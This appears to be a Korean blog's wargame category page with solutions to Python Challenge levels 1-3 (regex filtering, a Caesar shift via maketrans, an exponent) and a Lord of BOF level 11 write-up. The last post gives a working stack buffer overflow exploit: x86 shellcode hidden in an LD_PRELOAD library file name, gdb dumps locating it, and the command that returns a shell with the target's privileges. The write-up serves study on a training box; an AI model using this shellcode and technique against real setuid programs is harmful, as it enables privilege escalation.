스터디/wargames - 32

  1. 2013.09.14 파이썬 문제풀이, The Python Challenge Level3 문제풀이
  2. 2013.09.12 파이썬 문제풀이, The Python Challenge Level2 문제풀이
  3. 2013.09.11 파이썬 문제풀이, The Python Challenge Level1 문제풀이
  4. 2011.09.04 [BOF-Wargames] LOB Load of BOF LEVEL11 (Skeleton -> Golem) 문제풀이



recognize the characters. maybe they are in the book, 
but MAYBE they are in the page source.


다음과 같은 힌트가 있습니다. 둘째줄을 보니 소스보기에 힌트가 더 있을것 같은 느낌입니다.


소스보기를 하면


                                                          <!--

find rare characters in the mess below:

-->

(암호화 문장은 너무 길어서 첨부하지 않겠습니다)


소스보기를 하면 위의 메세지와 긴 암호화 메세지가 있습니다. 다음의 더러운 문장에서 아무래도 특정한 단어를

찾아내야 하는 것 같습니다. 더러운 문장에서 특별문자만 지우기위해 또 관련 함수를 찾아보았습니다.


그 중 정규표현식 중 re 모듈 메소드 중 sub 를 가지고 문제를 풀었습니다.


>>> str = """ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """

>>> import re

>>> strr = re.sub("[^a-z]", "", str) 

# re.sub(패턴, 교체될 문자, 바꿔질 문자)

>>> strr

'equality'

# 정상적으로 답이 뜹니다.


정규표현식이나 여러 모듈, 함수에 관한 내용은 python 카테고리에서 따로 다뤄보겠습니다.



2013.09.14 15:04. RSS feed. Trackback 0 came from other blogs. Leave a Response.
Posted in 스터디/wargames. Top

댓글을 달아 주세요





이번에는 위와 같은 사진이 있습니다. 힌트로는 다음의 메세지가 있습니다.


everybody thinks twice before solving this.


g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.


일단 K -> M, O -> Q, E -> G로 모두 두 번씩 이동을 하는데 위의 메세지를 보고 확인해보니깐 M, Q, G 로

치환이 된 상태에서 또 두 칸씩 뛰면 그때부터 아래의 이상한 메세지가 정상적인 메세지를 뜨기 시작합니다.

그래서 처음에는 하나하나 손으로 해볼까 생각하다가 한번 모듈이나 함수를 있을까 해서 검색해봤습니다.

(후회 중....)


검색해보니깐 string 모듈에 문자열 치환 관련 함수가 있었습니다.


1. maketrans(x, y, z)


x인자는 원본문자이며 y인자는 치환될 문자로 x 와 길이가 같아야 합니다.

z인자는 공백으로 치환해줄 특정문자입니다.


2. translate()


위 함수로 치환을 시도합니다.


바로 문제풀이 과정에 주석을 달아 문제풀이를 보여드리도록 하겠습니다.


>>> import string

>>> str = "g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp.

bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qr

pgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj."

# 힌트로 제공된 문자입니다.


>>> file = str.maketrans("abcdefghijklmnopqrstuvwxyz", "cdefghijklmnopqrstuvwxyzab")

# 첫 번째 인자가 치환될 문자열이고 두 번째 인자가 치환된 문자열입니다.


>>> data = str.translate(file)

# translate 함수를 이용해 치환을 시도합니다.


>>> data

"i hope you didnt translate it by hand. thats what computers are for. doing it in by hand is inefficient and that's why this text is so long. using string.maketrans() is recommended. now apply on the url."

# 치환이 되었습니다.


역시나 string.maketrans() 를 사용하라는 메세지가 있네요,

이제 지금 URL 에 적용해보라는 마지막 메세지가 있습니다. 그래서 시도해보면


map -> ocr


로 치환이 되고 문제 풀이에 성공했습니다.


2013.09.12 20:06. RSS feed. Trackback 0 came from other blogs. Leave a Response.
Posted in 스터디/wargames. Top

댓글을 달아 주세요


파이썬 워게임 Level1 문제풀이



사이트에 접속하면 다음과 같이 메인이 꾸며져 있습니다.

'Click here to get challenged' 링크를 클릭해 문제풀이를 시작합니다.



Hint: try to change the URL address


굉장히 간단해보입니다. 문제는 대충 2의 38제곱을 의미하는 것 같은데 연산자를 이용하면

문제를 바로 손쉽게 풀 수 있습니다.


2 ** 38 = 274877906944


힌트대로 링크에 274877906944 입력하고 접속하면 문제가 풀립니다.



2013.09.11 23:16. RSS feed. Trackback 0 came from other blogs. Leave a Response.
Posted in 스터디/wargames. Top

댓글을 달아 주세요


-----------------------------------------------------------------------------------------------------------------------------
Sur3x5f Report - LOB Level11 [ Skeleton -> Golem ] 
-----------------------------------------------------------------------------------------------------------------------------

드디어 골렘문제입니다. 부닺쳐봅시다!

[skeleton@localhost xodnr]$ cat golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); // 으어 이 망할놈
}

모든것을 초기화 시켜버립니다. 단 소스를 확인해보면 없어진게 하나 있습니다.
바로 환경변수를 초기화 하는 부분입니다. 그렇다고 에그쉘을 사용하고 그러는 문제는 아니고

밤새 고민하다가 해킹캠프때 새벽 5시 쯤 혁이에게 질문해 힌트를 얻어냈는데
바로 LD_PRELOAD와 LD_LIBRARY_PATH 환경변수의 도움을 받아내는것입니다. 이 환경변수들은 공유라이브러리를 지정할때
사용합니다. 고로 이 부분에 입력해주면 이 부분을 먼저 보고 이 부분에 없다면 PATH 환경변수를 참조해라~ 이런 역할을 합니다.

이 친구들은 마찬가지로 스택에 찌꺼기를 남겨 사용할 수 있는데 그 부분을 이용해 공격하면됩니다.
고로 공유라이브러리 파일을 생성할때 파일이름을 NOP 와 쉘코드로 지정해준다음 LD_PRELOAD 환경변수 등록하고
주소찾아서 리턴시켜주어 쉘이 뜨도록 하는겁니다.

추가 ---------------------------------- >

http://linux-virus.springnote.com/pages/1855278
http://codefactory.zc.bz/224

골렘은 스택의 모든 영역을 초기화 시킨다. 그래서 GDB 로 살펴보면 전 레벨에서 사용했던 Argv[0] 까지 이용할 수 없이
모두 골렘이 잡아먹어버리는데 LD_PRELOAD(, LD_LIBRARY_PATH) 라는 환경변수를 사용하면 된다.
LD_PRELOAD 환경변수를 이용해 긴값을 정의하면 스택의 약간의 찌꺼기가 생성된다. 실행을 하고 환경변수를 사용하는데
그 과정에서 찌꺼기가 남기때문에 초기화되지 않게된다.

고로 환경변수로 등록하지않는다면 일반적으로 정의되어있는 라이브러리를 참고하지만 LD_PRELOAD 환경변수를 이용해
자신만의 함수를 재정의하여 사용할수 있게되는것이다.

프로그램 실행 -> 일반 공유라이브러리 로드
LD_PRELOAD 정의 시 : 프로그램 실행 -> LD_PRELOAD 공유 라이브러리 로드
이렇게 되는것이다.

공유라이브러리 파일을 만들어 LD_PRELOAD 환경변수로 등록해주면 되는데 등록할때 파일명과 환경변수명을 NOP 와 쉘코드로
지정을 해주는방법을 사용해보자.

GCC 로 컴파일할때는 -fPIC -shared 명령어를 사용해야된다.

[gate@localhost gate]$ man gcc | grep fPIC
              -fpcc-struct-return -fpic -fPIC -freg-struct-return

[gate@localhost gate]$ man gcc | grep shared
              -llibrary -nostartfiles -nostdlib -static -shared
              -mpa-risc-1-0 -mpa-risc-1-1 -mkernel -mshared-libs
              -mno-shared-libs -mlong-calls -mdisable-fpregs
              -fshared-data -fshort-enums -fshort-double
              vents linking with the shared libraries.  On  other
              Produce  a  shared  object which can then be linked
              shared object.  Warn about  any  unresolved  refer­
              shared libraries.  This option is not  fully  func­
              shared libraries.  This is the default for  all  PA
              this compilation be shared data rather than private
              operating  systems, where shared data is shared be­
              shared library.

-fPIC 명령어는 공유 라이브러리 파일을 생성할때 사용하는 명령어이며
-fpic 는 CPU 에 따라 이상이 있지만 -fPIC 명령어는 CPU 에 관계없이 고속으로 컴파일한다.
-shared 명령어는 동적 라이브러리 파일을 생성하라는 명령어로 알고있다.

그래서 LD_PRELOAD 에 등록하기위한 라이브러리 파일을 만들때는

gcc -fPIC -shared -o `nop + shellcode` file.c

로 만들어 등록하고 export LD_PRELOAD=`nop + shellcode` 로 등록해주면 된다.

추가 ---------------------------------- >

[skeleton@localhost xodnr]$ ll
total 40
-rw-------    1 skeleton skeleton    12288 Aug 27 21:44 core
-rwxrwxr-x    1 skeleton skeleton    12199 Aug 27 18:02 gole
-rw-r--r--    1 skeleton skeleton      539 Aug 27 18:02 gole
-rwxrwxr-x    1 skeleton skeleton     5548 Aug 27 21:50 ld
-rw-rw-r--    1 skeleton skeleton       13 Aug 27 18:04 ld.c

[skeleton@localhost xodnr]$ gcc -fPIC -shared ld.c -o `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

환경변수에 등록해줄때에는 경로를 정확히 지정해주어서 등록해주어야만 합니다. 안 그러면 다른 곳에서의 파일네임 에러가 있을수도 있습니다.

[skeleton@localhost xodnr]$ pwd
/home/skeleton/xodnr

[skeleton@localhost xodnr]$ export LD_PRELOAD=/home/skeleton/xodnr/`python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

이제 LD_PRELOAD 의 주소로 리턴값을 설정시킨 후 공격하면 됩니다.
그러면 한번 LD_PRELOAD 의 주소를 찾아봅시다. 먼저 디버깅을 실행해봅시다.

[skeleton@localhost xodnr]$ gdb -q golem
(gdb) b *main+167
Breakpoint 1 at 0x8048517

(gdb) r
Starting program: /home/skeleton/xodnr/golem

argv error

Program exited normally.

(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/skeleton/xodnr/golem `python -c 'print "\xbf"*48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿

Breakpoint 1, 0x8048517 in main ()

(gdb) x/50x $esp
0xbffffa0c:     0xbfbfbfbf      0x00000000      0x00000000      0x00000000
0xbffffa1c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa3c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa4c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa5c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa6c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa7c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa8c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa9c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffaac:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffabc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffacc:     0x00000000      0x00000000
(gdb)
0xbffffad4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffae4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffaf4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb04:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb14:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb24:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb34:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb44:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb54:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb64:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb74:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb84:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb94:     0x00000000      0x00000000
(gdb)
0xbffffb9c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbac:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbbc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbcc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbdc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbec:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbfc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc0c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc1c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc3c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc4c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc5c:     0x00000000      0x00000000
(gdb)
0xbffffc64:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc74:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc84:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc94:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffca4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcb4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcc4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcd4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffce4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcf4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd04:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd14:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd24:     0x00000000      0x00000000
(gdb)
0xbffffd2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd3c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd4c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd5c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd6c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd7c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd8c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffd9c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdac:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdbc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdcc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffddc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdec:     0x00000000      0x00000000
(gdb)
0xbffffdf4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe04:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe14:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe24:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe34:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe44:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe54:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe64:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe74:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe84:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe94:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffea4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffeb4:     0x00000000      0x00000000
(gdb)
0xbffffebc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffecc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffedc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffeec:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffefc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff0c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff1c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff2c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff3c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff4c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff5c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff6c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff7c:     0x00000000      0x00000000
(gdb)
0xbfffff84:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff94:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffa4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffb4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffc4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffd4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffe4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffff4:     0x00000000      0x00000000      0x00000000      Cannot access memory at address 0xc0000000

후아......... 스택이 텅 비어있습니다. 혁주에게 힌트를 받은건데 저 멀리 뒷부분도 참조해보라는 힌트를 받았습니다.
그래서 넉넉하게 -3000 부터 스택을 보았더니

(gdb) x/50x $esp-3000
0xbfffee54:     0x00000000      0x0000038c      0x00000000      0x000000cb
0xbfffee64:     0x0000059b      0x00000707      0x00000557      0x00000000
0xbfffee74:     0x00000564      0x00000000      0x00000301      0x0000048e
0xbfffee84:     0x00000550      0x00000000      0x0000067f      0x00000000
0xbfffee94:     0x00000000      0x00000715      0x000005e9      0x0000060d
0xbfffeea4:     0x00000529      0x000003a4      0x00000351      0x000006cd
0xbfffeeb4:     0x000000b9      0x00000679      0x00000000      0x000005e1
0xbfffeec4:     0x00000141      0x00000503      0x00000072      0x0000062d
0xbfffeed4:     0x00000000      0x00000000      0x000005a3      0x0000021e
0xbfffeee4:     0x0000020d      0x00000608      0x00000000      0x00000000
0xbfffeef4:     0x00000706      0x000006f6      0x000006fc      0x0000041b
0xbfffef04:     0x00000701      0x0000062b      0x00000547      0x00000000
0xbfffef14:     0x00000000      0x00000000
(gdb)
0xbfffef1c:     0x0000052c      0x00000171      0x00000687      0x00000148
0xbfffef2c:     0x00000497      0x00000000      0x000002b9      0x00000629
0xbfffef3c:     0x000004f5      0x0000029b      0x00000725      0x00000639
0xbfffef4c:     0x000002ac      0x00000000      0x000006f1      0x00000000
0xbfffef5c:     0x000006a1      0x000004d4      0x000005c9      0x0000029f
0xbfffef6c:     0x000006a6      0x0000045f      0x000006dd      0x000004a6
0xbfffef7c:     0x00000000      0x00000620      0x0000051e      0x00000000
0xbfffef8c:     0x00000584      0x0000069c      0x00000716      0x0000054d
0xbfffef9c:     0x00000527      0x000004ed      0x000003a1      0x00000458
0xbfffefac:     0x00000466      0x0000063f      0x00000000      0x000001ca
0xbfffefbc:     0x00000000      0x0000027f      0x00000000      0x000006ba
0xbfffefcc:     0x0000055a      0x000002b6      0x000000d9      0x0000053d
0xbfffefdc:     0x00000252      0x000004bf
(gdb)
0xbfffefe4:     0x00000000      0x0000071a      0x00000673      0x000005fb
0xbfffeff4:     0x0000023f      0x00000653      0x00000000      0x00000189
0xbffff004:     0x000002a6      0x00000367      0x000003d7      0x00000340
0xbffff014:     0x000005fe      0x000006f3      0x0000056e      0x000004de
0xbffff024:     0x00000306      0x000006a5      0x00000145      0x000000f8
0xbffff034:     0x000000cc      0x000001c0      0x000005f1      0x00000457
0xbffff044:     0x00000712      0x00000703      0x00000226      0x00000513
0xbffff054:     0x4002bb0e      0xbffff128      0x400081e6      0x4002bad5
0xbffff064:     0x4002bad5      0x40013868      0x40014828      0x0000598c
0xbffff074:     0x00000432      0x0000013f      0x0000016e      0x000002f1
0xbffff084:     0x00000000      0x00000420      0x000006c0      0x0000052e
0xbffff094:     0x00005450      0x00000000      0x000004cd      0x00000000
0xbffff0a4:     0x00000000      0x400221c0
(gdb)
0xbffff0ac:     0x00000545      0x40023fd0      0x4001cd70      0x40014828
0xbffff0bc:     0x00000004      0x40014a98      0x00000002      0xbffff0e0
0xbffff0cc:     0x400221c0      0x40014a2c      0x03c40f19      0xbffff15c
0xbffff0dc:     0x4002995c      0x400221c0      0x40014828      0x4002bad5
0xbffff0ec:     0x4002bad5      0x40013868      0x40014828      0x0000590a
0xbffff0fc:     0x00000536      0x0000070b      0x00000167      0x00000555
0xbffff10c:     0x40001402      0xbffff1e0      0x40008134      0x40000c7d
0xbffff11c:     0x40024f23      0x40013868      0x40014828      0x00000f53
0xbffff12c:     0x4000a7fd      0x40014818      0x40014b50      0x00000007
0xbffff13c:     0x4000a74e      0x4010a1ec      0xbffff1e1      0x00000000
0xbffff14c:     0x00000180      0x400221c0      0x4010a710      0x00000000
0xbffff15c:     0x400221c0      0x40000474      0x00000000      0x40000824
0xbffff16c:     0x400002f4      0x40013c00
(gdb)
0xbffff174:     0x00000004      0x40014a98      0x00000004      0xbffff198
0xbffff184:     0x4001dd60      0x40014a34      0x056e90c5      0xbffff214
0xbffff194:     0x40024f23      0x4001dd60      0x40014828      0x000000bd
0xbffff1a4:     0x4002bb0e      0xbffff278      0x400081e6      0x4002bad5
0xbffff1b4:     0x4002bad5      0x40013868      0x40014828      0x0000187f
0xbffff1c4:     0x00000001      0x4001fe70      0x00000310      0x40023fd0
0xbffff1d4:     0x4001cd70      0x40014828      0x00000004      0xbffff218
0xbffff1e4:     0x4000a7fd      0x40014818      0x40014b50      0x40001402
0xbffff1f4:     0xbffff2c4      0x40008134      0x40000ec9      0x40025713
0xbffff204:     0x40013868      0x40014828      0x00001743      0x40024f23
0xbffff214:     0x4001dd60      0xbffff258      0x4000a970      0x40017000
0xbffff224:     0x40108980      0x400c0b00      0x00000000      0x40000ec9
0xbffff234:     0x400707e4      0x00000001
(gdb)
0xbffff23c:     0x00000000      0x00000031      0x40000664      0x00000000
0xbffff24c:     0x40000824      0x400002f4      0x40013c00      0x00000004
0xbffff25c:     0x40014a98      0x00000004      0xbffff27c      0x4001e4f0
0xbffff26c:     0x40014a34      0x00dc28f5      0xbffff2f8      0x40025713
0xbffff27c:     0x4001e4f0      0x40014828      0x40108980      0x40017000
0xbffff28c:     0x00000031      0x4010a1ec      0x40108980      0xbffff2b8
0xbffff29c:     0x4006fa3e      0x40108980      0x40017000      0x00000031
0xbffff2ac:     0x4010a1ec      0x00000001      0x40108980      0xbffff2cc
0xbffff2bc:     0x400711c7      0x40108980      0xbffff2fc      0x4000a7fd
0xbffff2cc:     0x40014818      0x40014b50      0x00000007      0x4000a74e
0xbffff2dc:     0x4010a1ec      0x0804859c      0x00000001      0x40014828
0xbffff2ec:     0x4001e4f0      0x4010a320      0x40025713      0x4001e4f0
0xbffff2fc:     0xbffff9b4      0x4000a970
(gdb)
0xbffff304:     0x40108980      0x00000400      0x4006c2e4      0x40014828
0xbffff314:     0xbffff9b4      0x4006428b      0x40108980      0x4010a1ec
0xbffff324:     0x4000ae60      0xbffffa54      0x00000000      0x00000000
0xbffff334:     0x00002fb2      0x00001000      0x00000018      0x4e5920c4
0xbffff344:     0x0000385c      0x40014828      0x00000018      0x000ed9c0
0xbffff354:     0x00000002      0xbfffe284      0xbfffe254      0xbfffe2cc
0xbffff364:     0x00001000      0xbfffe2cc      0x00000003      0x000f485c
0xbffff374:     0xbfffe3a0      0xbfffe300      0x40013ed0      0x00000808
0xbffff384:     0x00000000      0x00000000      0x0000675b      0x000081a4
0xbffff394:     0x0804859c      0x25000000      0x00000000      0x00000001
0xbffff3a4:     0x00000000      0x00000053      0x00008561      0x000081ed
0xbffff3b4:     0x00000001      0x00000000      0x40001402      0xbffff490
0xbffff3c4:     0x400081e6      0x400013e1
(gdb)
0xbffff3cc:     0x400013e1      0x40013868      0x400013a5      0x40000824
0xbffff3dc:     0x400013d3      0x40013c00      0x40014a88      0x0000000e
0xbffff3ec:     0x40013e80      0x400013d3      0x400014c4      0x00000000
0xbffff3fc:     0x00000520      0x4002bad5      0x400013e1      0x00000000
0xbffff40c:     0xbffff494      0x40000814      0x00000052      0x40000824
0xbffff41c:     0x400002f4      0x40013c00      0x00000004      0x40014a98
0xbffff42c:     0x00000003      0xbffff448      0x40000814      0x400140d4
0xbffff43c:     0x0b725f23      0xbffff524      0x400013a5      0x40000814
0xbffff44c:     0x40013c00      0x400002f4      0x40013c00      0x00000000
0xbffff45c:     0x00000000      0x00000004      0x40014a98      0x00000004
0xbffff46c:     0xbffff48c      0x40000674      0x400140d8      0x01ee5739
0xbffff47c:     0xbffff524      0x40000edc      0x20733868      0xffffffff
0xbffff48c:     0xffffffd0      0x00000000
(gdb)
0xbffff494:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff4a4:     0x00000000      0x00000000      0x00000000      0xbffff9e0
0xbffff4b4:     0x40009c50      0x00005207      0x4001a0dc      0x4001a0dc
0xbffff4c4:     0x00000000      0x00000000      0x00000001      0xbffff9d8
0xbffff4d4:     0xbffff9b3      0x0804859b      0x08048599      0x00000031
0xbffff4e4:     0xffffffff      0x40013c00      0x4001a0d4      0x40010c9e
0xbffff4f4:     0x40000814      0x400138d4      0x40001402      0x400002f4
0xbffff504:     0x080482d0      0x080482d0      0xbffff554      0x00000002
0xbffff514:     0x40023fd0      0x40013c00      0x4000ba15      0x40013868
0xbffff524:     0x40000814      0x400041b0      0x00000001      0xbffff53c
0xbffff534:     0x0804859c      0x000002c8      0x00000000      0x080482d0
0xbffff544:     0x00000000      0x00000000      0x00000000      0xbffff55c
0xbffff554:     0x400075bb      0x40017000
(gdb)
0xbffff55c:     0x00002fb2      0x40013868      0xbffff744      0x4000380e
0xbffff56c:     0x40014480      0x6d6f682f      0x6b732f65      0x74656c65
0xbffff57c:     0x782f6e6f      0x726e646f      0x9090902f      0x90909090
0xbffff58c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff59c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5ac:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5bc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5cc:     0x90909090      0x90909090      0x90909090      0x90909090 // 여기 NOP 코드가 들어가있습니다.
0xbffff5dc:     0x90909090      0x90909090      0x90909090      0x5e11eb90 // 이곳으로 리턴시켜보겠습니당!
0xbffff5ec:     0x32b1c931      0xff0e6c80      0x01e98001      0x05ebf675
0xbffff5fc:     0xffffeae8      0x51c132ff      0x74303069      0x63306969
0xbffff60c:     0xe48a6f6a      0xe28a5451      0xce0cb19a      0x40000081
0xbffff61c:     0x40013868      0x4000220c
(gdb)
0xbffff624:     0xbffffb46      0x00000000      0x00000000      0x00000000 // 아마 이 부분부터 스택인가 봅니다.
0xbffff634:     0x00000000      0x40014a00      0x00000000      0x00000000
0xbffff644:     0x00000000      0x00000000      0x00000006      0x00000000
0xbffff654:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff664:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff674:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff684:     0x00000001      0x00000000      0x00000001      0xbffff56c
0xbffff694:     0x00060000      0x00000000      0x00000000      0x00000000
0xbffff6a4:     0x00000001      0x00000000      0x00000 000      0x00000000
0xbffff6b4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6c4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6d4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff6e4:     0x00000000      0x00000000

[skeleton@localhost xodnr]$ ./golem `python -c 'print "\xbf"*44 + "\xcc\xf5\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿Ìõÿ¿

bash$ id
uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)

bash$ exit

쉘이 떴군요...... 욕이 나오면서 기쁩니다 ㅋㅋㅋ

[skeleton@localhost xodnr]$ cd ..

[skeleton@localhost skeleton]$ ./golem `python -c 'print "\xbf"*44 + "\xa8\xf5\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¨õÿ¿

bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)

bash$ my-pass
euid = 511
cup of coffee

패스워드가 정상적으로 출력되었습니당!
2011.09.04 23:43. RSS feed. Trackback 0 came from other blogs. Leave a Response.
Posted in 스터디/wargames. Top

댓글을 달아 주세요